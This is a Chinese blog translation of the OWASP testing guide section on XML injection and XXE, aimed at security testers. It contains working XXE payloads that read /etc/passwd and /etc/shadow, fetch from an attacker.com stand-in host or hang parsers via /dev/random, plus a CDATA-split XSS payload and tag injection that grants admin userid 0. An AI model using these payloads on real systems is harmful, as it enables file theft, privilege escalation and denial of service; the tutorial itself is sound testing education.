xxe测试(owasp)

10 篇文章 0 订阅
2 篇文章 0 订阅
本文详细介绍了XML注入的概念和测试方法,包括识别注入点、利用特殊字符测试、标签注入以及外部实体注入(XXE)。通过实例展示了如何通过注入XML数据和标签来篡改数据,甚至提权。同时,讨论了防止此类攻击的源码审查和工具选择。
摘要由CSDN通过智能技术生成

原文

概述

本章演示实际XML注入例子。首先,将定义XML样式的通信,并且解释其工作原理。然后尝试插入XML字符的发现方法。当第一步完成,测试中将拥有许多关于XML结构的信息,因此将有可能插入XML数据和标签。

测试目的
  • 识别XML注入点
  • 评估可以利用的攻击类型及其严重性
如何测试

让我们假设有个网站使用XML样式的通信进行用户注册。这通过在xmlDb中创建和添加新的< user>实现。
让我们假设xmlDB文件如下:

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
</users>

当用户通过填写html表格注册时,该应用收到在GET请求中的用户数据(为了简单,就当成GET请求)。
例如下面的数据:

Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com

将产生请求:

http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com

网站将创建以下节点:

<user>
    <username>tony</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>

这个将添加到xmlDB中

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
    <user>
    <username>tony</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
    </user>
</users>
发现

测试XML注入漏洞的第一步。XML的元字符为:

  • 单引号:' - 当没有被过滤时,如果注入点是标签中的属性值,这个字符能够在xml解析时引发异常。

举例:让我们假设有以下属性

<node attrib='$inputValue'/>

如果存在

inputValue = foo'

没有被过滤,且插入到此处属性中

<node attrib='foo''/>

然后,生成的xml文件格式不正确。

  • 双引号:" -这个字符和单引号一样,它能够被用在属性被双引号闭合的场景中。
<node attrib="$inputValue"/>
  • 尖括号:<> - 通过在用户输入中添加一个尖括号如下:
Username = foo<

应用将构建一个新的节点:

<user>
    <username>foo<</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>

但因为存在多余的’<’,生成的xml文件将无效。

  • 注释标记:<!--/--> - 这一串字符会被解析为注释的开头/结尾。因此通过在username参数中注入他们中的一个:
Username = foo<!--

应用将构成以下节点:

<user>
    <username>foo<!--</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>

这不是有效的xml序列。

在这里插入代码片
  • Ampersand:& - 在xml语法中,这个符号表示实体。实体的格式是&symbol。一个实体映射到unicode字符中的字符。

举例:

<tagnode>&lt;</tagnode>

是格式正确且有效的,表示ascii字符中的<
如果&没有被编码为&amp;,则它是可以被用来测试xml注入。
事实上,如果输入如下:

Username = &foo

一个新节点将被生成:

<user>
    <username>&foo</username>
    <password>Un6R34kb!e</password>
    <userid>500</userid>
    <mail>s4tan@hell.com</mail>
</user>

但是,此文件是无效的:&foo并没有终止,并且&foo;是未被定义的。

  • CDATA(意为character data,表示文档的特定部分是普通的字符数据)定界符: <![CDATA[ / ]]> - CDATA被用于转义包含字符的文本块,否则这些文本字符将被视为标记。也就是说,在CDATA中的字符将不会被xml解析器解析。

举例,如果有在文本节点中表示<foo>的需求:

<node>
    <![CDATA[<foo>]]>
</node>

<foo>不会被解析,被认为是字符数据。
如果节点以以下方式创建:

<username><![CDATA[<$userName]]></username>

测试者能够尝试注入CDATA的结尾字符串]]>,使生成的xml文件无效。

userName = ]]>

xml文件将变成:

<username><![CDATA[]]>]]></username>

另一个测试和CDATA标签有关。假设xml文件将被处理生成一个html页面。在这种情况下,CDATA定界符将简单地消除,无需进一步查看它的内容。然而,它有可能注入html标记,这些标记被包含在生成的页面中,完全绕过存在的过滤规则。
举个具体的例子。假设我们有一个包含一些文本的节点,它将会显示给用户。

<html>
    $HTMLCode
</html>

然后,攻击者可能使用以下输入:

$HTMLCode = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>

从而获得以下节点:

<html>
    <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
</html>

在xml解析器处理时,CDATA定界符会被消除,生成以下html代码:

<script>
    alert('XSS')
</script>

结果此应用易受到XSS漏洞的攻击。

外部实体:可以通过定义新的实体来扩展有效实体集。如果实体的定义是URI,这个实体叫做外部实体。除非配置为其他方式,否则外部实体会强制xml解析器访问URI所指定的资源。例如,一个在本地的文件或在远程系统中的文件。这个行为使xml外部实体易受到攻击,它能够被用来执行本地系统的拒绝服务、获得未授权访问的本地文件内容,扫描远程机器、以及执行远程系统的拒绝服务。

为了测试XXE漏洞,你可以使用以下输入:

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///dev/random" >]>
        <foo>&xxe;</foo>

这个测试能使web服务器崩溃(unix系统),如果xml解析器尝试用/dev/random文件的内容代替实体的话。
其他可用的测试如下:

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///etc/shadow" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [ <!ELEMENT foo ANY >
        <!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
标签注入

一旦第一步完成,测试者拥有一些关于xml文件结构的信息。然后,可以尝试注入xml数据和标签。我们会展示一个例子,关于如何使用它进行提权。
让我们回想之前的应用,桐哥插入以下值:

Username: tony
Password: Un6R34kb!e
E-mail: s4tan@hell.com</mail><userid>0</userid><mail>s4tan@hell.com

应用将创建新的节点,且将它添加到xml数据库中。

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
    <user>
        <username>tony</username>
        <password>Un6R34kb!e</password>
        <userid>500</userid>
        <mail>s4tan@hell.com</mail>
        <userid>0</userid>
        <mail>s4tan@hell.com</mail>
    </user>
</users>

生成的xml文件格式是正确的。此外,与userid标签关联的值可能为0(管理员id)(对用户tony来说)。也就是说,我们为用户注入了管理权限。

唯一的问题使userid标记在最后一个用户节点中出现了两次。通常,xml文件与模式或DTD相关联,如果它们不符合要求,则将被拒绝。
让我们假设xml文件被以下DTD指定:

<!DOCTYPE users [
    <!ELEMENT users (user+) >
    <!ELEMENT user (username,password,userid,mail+) >
    <!ELEMENT username (#PCDATA) >
    <!ELEMENT password (#PCDATA) >
    <!ELEMENT userid (#PCDATA) >
    <!ELEMENT mail (#PCDATA) >
]>

注意,userid节点是用基数1定义的。在这种情况下,如果xml文件在被处理前根据此DTD进行验证,则我们之前展示的攻击以及其他简单的攻击将不起作用。

但是,如果测试者控制有问题的节点之前的某些节点的值(如userid),这个问题能够被解决。事实上,测试者能够注释一些节点,桐哥注入注释的开头和结尾语句:

Username: tony
Password: Un6R34kb!e</password><!--
E-mail: --><userid>0</userid><mail>s4tan@hell.com

在这种情况下,我们最终的xml数据库会变成:

<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
    <user>
        <username>gandalf</username>
        <password>!c3</password>
        <userid>0</userid>
        <mail>gandalf@middleearth.com</mail>
    </user>
    <user>
        <username>Stefan0</username>
        <password>w1s3c</password>
        <userid>500</userid>
        <mail>Stefan0@whysec.hmm</mail>
    </user>
    <user>
        <username>tony</username>
        <password>Un6R34kb!e</password><!--</password>
        <userid>500</userid>
        <mail>--><userid>0</userid><mail>s4tan@hell.com</mail>
    </user>
</users>

原始的userid节点会被注释,只剩下被注入的userid。现在此文件符合DTD规则了。

源码审查

以下jaca api可能会受到xxe攻击,如果它们没用被正确配置。

javax.xml.parsers.DocumentBuilder
javax.xml.parsers.DocumentBuildFactory
org.xml.sax.EntityResolver
org.dom4j.*
javax.xml.parsers.SAXParser
javax.xml.parsers.SAXParserFactory
TransformerFactory
SAXReader
DocumentHelper
SAXBuilder
SAXParserFactory
XMLReaderFactory
XMLInputFactory
SchemaFactory
DocumentBuilderFactoryImpl
SAXTransformerFactory
DocumentBuilderFactoryImpl
XMLReader
Xerces: DOMParser, DOMParserImpl, SAXParser, XMLParser

检查源码,docType、external DTD和外部参数实体是否被设置为禁止使用。

(最后一点略了)

工具

个人小总结

个人感觉测试内容主要就是通过各种特殊字符测试是否会报错,特殊字符包括单引号'、双引号"、尖括号<>、注释符号<!--/-->、逻辑与&、CDATA定界符<![CDATA[]]>

如果不会报错的话,就能够进行标签注入(替换原来的userid标签)、外部实体注入(xxe)、嵌入xss代码等测试。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值